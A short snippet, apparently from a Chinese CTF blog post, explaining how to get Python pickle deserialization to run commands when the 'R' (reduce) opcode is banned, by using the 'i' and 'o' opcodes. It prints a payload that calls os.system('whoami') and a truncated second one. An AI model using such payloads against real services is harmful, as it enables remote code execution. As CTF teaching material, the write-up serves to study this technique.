python pickle反序列化R指令禁用绕过 2021-10-15 2:39 | 388 | 0 | CTF,WEB 650 字 | 4 分钟 这篇文章只是记录一下在禁用了R指令也就是reduce方法的情况下如何进行pickle反序列化 R指令不可用的情况下还能用i指令和o指令 i b'''(S'whoami' ios system .''' o b'''(cos system S… picklepython反序列化